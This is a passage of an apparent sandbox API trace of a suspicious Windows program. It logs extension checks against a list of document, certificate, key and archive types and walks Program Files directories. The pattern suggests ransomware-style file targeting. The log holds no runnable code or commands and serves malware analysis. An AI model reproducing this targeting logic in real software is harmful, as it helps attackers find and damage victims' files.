lstrlenW (lpString=".msg") returned 4 [0265.443] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0265.443] lstrlenW (lpString=".mxl") returned 4 [0265.443] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0265.443] lstrlenW (lpString=".myd") returned 4 [0265.443] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0265.443] lstrlenW (lpString=".myi") returned 4 [0265.443] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0265.443] lstrlenW (lpString=".nef") returned 4 [0265.443] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0265.443] lstrlenW (lpString=".nrw") returned 4 [0265.443] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0265.443] lstrlenW (lpString=".obj") returned 4 [0265.443] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0265.443] lstrlenW (lpString=".odb") returned 4 [0265.443] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0265.443] lstrlenW (lpString=".odc") returned 4 [0265.443] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0265.443] lstrlenW (lpString=".odm") returned 4 [0265.443] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0265.443] lstrlenW (lpString=".odp") returned 4 [0265.443] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0265.443] lstrlenW (lpString=".ods") returned 4 [0265.443] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0265.443] lstrlenW (lpString=".oft") returned 4 [0265.443] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0265.443] lstrlenW (lpString=".one") returned 4 [0265.443] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0265.443] lstrlenW (lpString=".onepkg") returned 7 [0265.443] lstrcmpiW (lpString1=".onepkg", lpString2="del.dll") returned -1 [0265.443] lstrlenW (lpString=".onetoc2") returned 8 [0265.443] lstrcmpiW (lpString1=".onetoc2", lpString2="odel.dll") returned -1 [0265.443] lstrlenW (lpString=".opt") returned 4 [0265.444] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".oqy") returned 4 [0265.444] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".orf") returned 4 [0265.444] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".p12") returned 4 [0265.444] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".p7b") returned 4 [0265.444] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".p7c") returned 4 [0265.444] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".pam") returned 4 [0265.444] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".pbm") returned 4 [0265.444] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".pct") returned 4 [0265.444] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".pcx") returned 4 [0265.444] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".pdd") returned 4 [0265.444] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".pdf") returned 4 [0265.444] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".pdp") returned 4 [0265.444] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".pef") returned 4 [0265.444] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".pem") returned 4 [0265.444] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".pff") returned 4 [0265.444] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".pfm") returned 4 [0265.444] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".pfx") returned 4 [0265.444] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".pgm") returned 4 [0265.444] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0265.444] lstrlenW (lpString=".php") returned 4 [0265.445] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0265.445] lstrlenW (lpString=".php3") returned 5 [0265.445] lstrcmpiW (lpString1=".php3", lpString2="l.dll") returned -1 [0265.445] lstrlenW (lpString=".php4") returned 5 [0265.445] lstrcmpiW (lpString1=".php4", lpString2="l.dll") returned -1 [0265.445] lstrlenW (lpString=".php5") returned 5 [0265.445] lstrcmpiW (lpString1=".php5", lpString2="l.dll") returned -1 [0265.445] lstrlenW (lpString=".phtml") returned 6 [0265.445] lstrcmpiW (lpString1=".phtml", lpString2="el.dll") returned -1 [0265.445] lstrlenW (lpString=".pict") returned 5 [0265.445] lstrcmpiW (lpString1=".pict", lpString2="l.dll") returned -1 [0265.445] lstrlenW (lpString=".pl") returned 3 [0265.445] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0265.445] lstrlenW (lpString=".pls") returned 4 [0265.445] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0265.445] lstrlenW (lpString=".pm") returned 3 [0265.445] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0265.445] lstrlenW (lpString=".png") returned 4 [0265.445] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0265.445] lstrlenW (lpString=".pnm") returned 4 [0265.445] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0265.445] lstrlenW (lpString=".pot") returned 4 [0265.445] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0265.445] lstrlenW (lpString=".potm") returned 5 [0265.445] lstrcmpiW (lpString1=".potm", lpString2="l.dll") returned -1 [0265.445] lstrlenW (lpString=".potx") returned 5 [0265.445] lstrcmpiW (lpString1=".potx", lpString2="l.dll") returned -1 [0265.445] lstrlenW (lpString=".ppa") returned 4 [0265.445] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0265.445] lstrlenW (lpString=".ppam") returned 5 [0265.445] lstrcmpiW (lpString1=".ppam", lpString2="l.dll") returned -1 [0265.445] lstrlenW (lpString=".ppm") returned 4 [0265.445] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0265.445] lstrlenW (lpString=".pps") returned 4 [0265.445] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0265.445] lstrlenW (lpString=".ppsm") returned 5 [0265.445] lstrcmpiW (lpString1=".ppsm", lpString2="l.dll") returned -1 [0265.446] lstrlenW (lpString=".ppt") returned 4 [0265.446] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0265.446] lstrlenW (lpString=".pptm") returned 5 [0265.446] lstrcmpiW (lpString1=".pptm", lpString2="l.dll") returned -1 [0265.446] lstrlenW (lpString=".pptx") returned 5 [0265.446] lstrcmpiW (lpString1=".pptx", lpString2="l.dll") returned -1 [0265.446] lstrlenW (lpString=".prn") returned 4 [0265.446] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0265.446] lstrlenW (lpString=".ps") returned 3 [0265.446] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0265.446] lstrlenW (lpString=".psb") returned 4 [0265.446] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0265.446] lstrlenW (lpString=".psd") returned 4 [0265.446] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0265.446] lstrlenW (lpString=".pst") returned 4 [0265.446] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0265.446] lstrlenW (lpString=".ptx") returned 4 [0265.446] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0265.446] lstrlenW (lpString=".pub") returned 4 [0265.446] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0265.446] lstrlenW (lpString=".pwm") returned 4 [0265.446] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0265.446] lstrlenW (lpString=".pxr") returned 4 [0265.446] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0265.446] lstrlenW (lpString=".py") returned 3 [0265.446] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0265.446] lstrlenW (lpString=".qt") returned 3 [0265.446] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0265.446] lstrlenW (lpString=".r3d") returned 4 [0265.446] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0265.446] lstrlenW (lpString=".raf") returned 4 [0265.446] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0265.446] lstrlenW (lpString=".rar") returned 4 [0265.446] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0265.446] lstrlenW (lpString=".raw") returned 4 [0265.446] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0265.447] RtlpDeCommitFreeBlock () [0265.447] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0265.448] RtlpDeCommitFreeBlock () [0265.448] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0265.449] RtlpDeCommitFreeBlock () [0265.449] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0265.449] FindClose (in: hFindFile=0x63eec8 | out: hFindFile=0x63eec8) returned 1 [0265.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45cc180 | out: hHeap=0x540000) returned 1 [0265.450] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0265.450] FindClose (in: hFindFile=0x63f0c8 | out: hFindFile=0x63f0c8) returned 1 [0265.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45bc178 | out: hHeap=0x540000) returned 1 [0265.450] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0265.450] FindClose (in: hFindFile=0x63ee88 | out: hFindFile=0x63ee88) returned 1 [0265.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0265.450] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0265.451] RtlpDeCommitFreeBlock () [0265.451] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0265.451] RtlpDeCommitFreeBlock () [0265.451] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a97a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x150a97a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33b368d0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0265.451] RtlpDeCommitFreeBlock () [0265.451] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0265.453] RtlpDeCommitFreeBlock () [0265.453] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0265.455] RtlpDeCommitFreeBlock () [0265.455] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0265.455] FindClose (in: hFindFile=0x63ee88 | out: hFindFile=0x63ee88) returned 1 [0265.455] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0265.455] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0265.455] RtlpDeCommitFreeBlock () [0265.455] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fbe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0265.455] RtlpDeCommitFreeBlock () [0265.455] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0265.457] RtlpDeCommitFreeBlock () [0265.457] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0265.457] RtlpDeCommitFreeBlock () [0265.457] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0265.459] RtlpDeCommitFreeBlock () [0265.459] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba168ab, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6ba168ab, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x3401fe00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0265.461] RtlpDeCommitFreeBlock () [0265.461] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa925159f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa925159f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0265.461] RtlpDeCommitFreeBlock () [0265.461] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0265.461] RtlpDeCommitFreeBlock () [0265.461] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ee55f9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8ee55f9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8ee55f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0265.462] RtlpDeCommitFreeBlock () [0265.462] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7efd01f0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7efd01f0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0265.462] RtlpDeCommitFreeBlock () [0265.462] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3a861e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e3a861e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e7acb45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x45f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0265.462] RtlpDeCommitFreeBlock () [0265.462] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x178d0de0, ftCreationTime.dwHighDateTime=0x1d4fae2, ftLastAccessTime.dwLowDateTime=0xad85c420, ftLastAccessTime.dwHighDateTime=0x1d4b089, ftLastWriteTime.dwLowDateTime=0xad85c420, ftLastWriteTime.dwHighDateTime=0x1d4b089, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="achieving.exe", cAlternateFileName="ACHIEV~1.EXE")) returned 1 [0265.463] RtlpDeCommitFreeBlock () [0265.463] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46672035, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x46672035, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x449faf50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0265.463] RtlpDeCommitFreeBlock () [0265.463] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0265.463] FindClose (in: hFindFile=0x63ee88 | out: hFindFile=0x63ee88) returned 1 [0265.463] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0265.463] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7eff6350, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7eff6350, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0265.463] RtlpDeCommitFreeBlock () [0265.463] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0265.464] RtlpDeCommitFreeBlock () [0265.464] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7f3d4710, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7f3d4710, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0265.465] RtlpDeCommitFreeBlock () [0265.465] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0265.465] RtlpDeCommitFreeBlock () 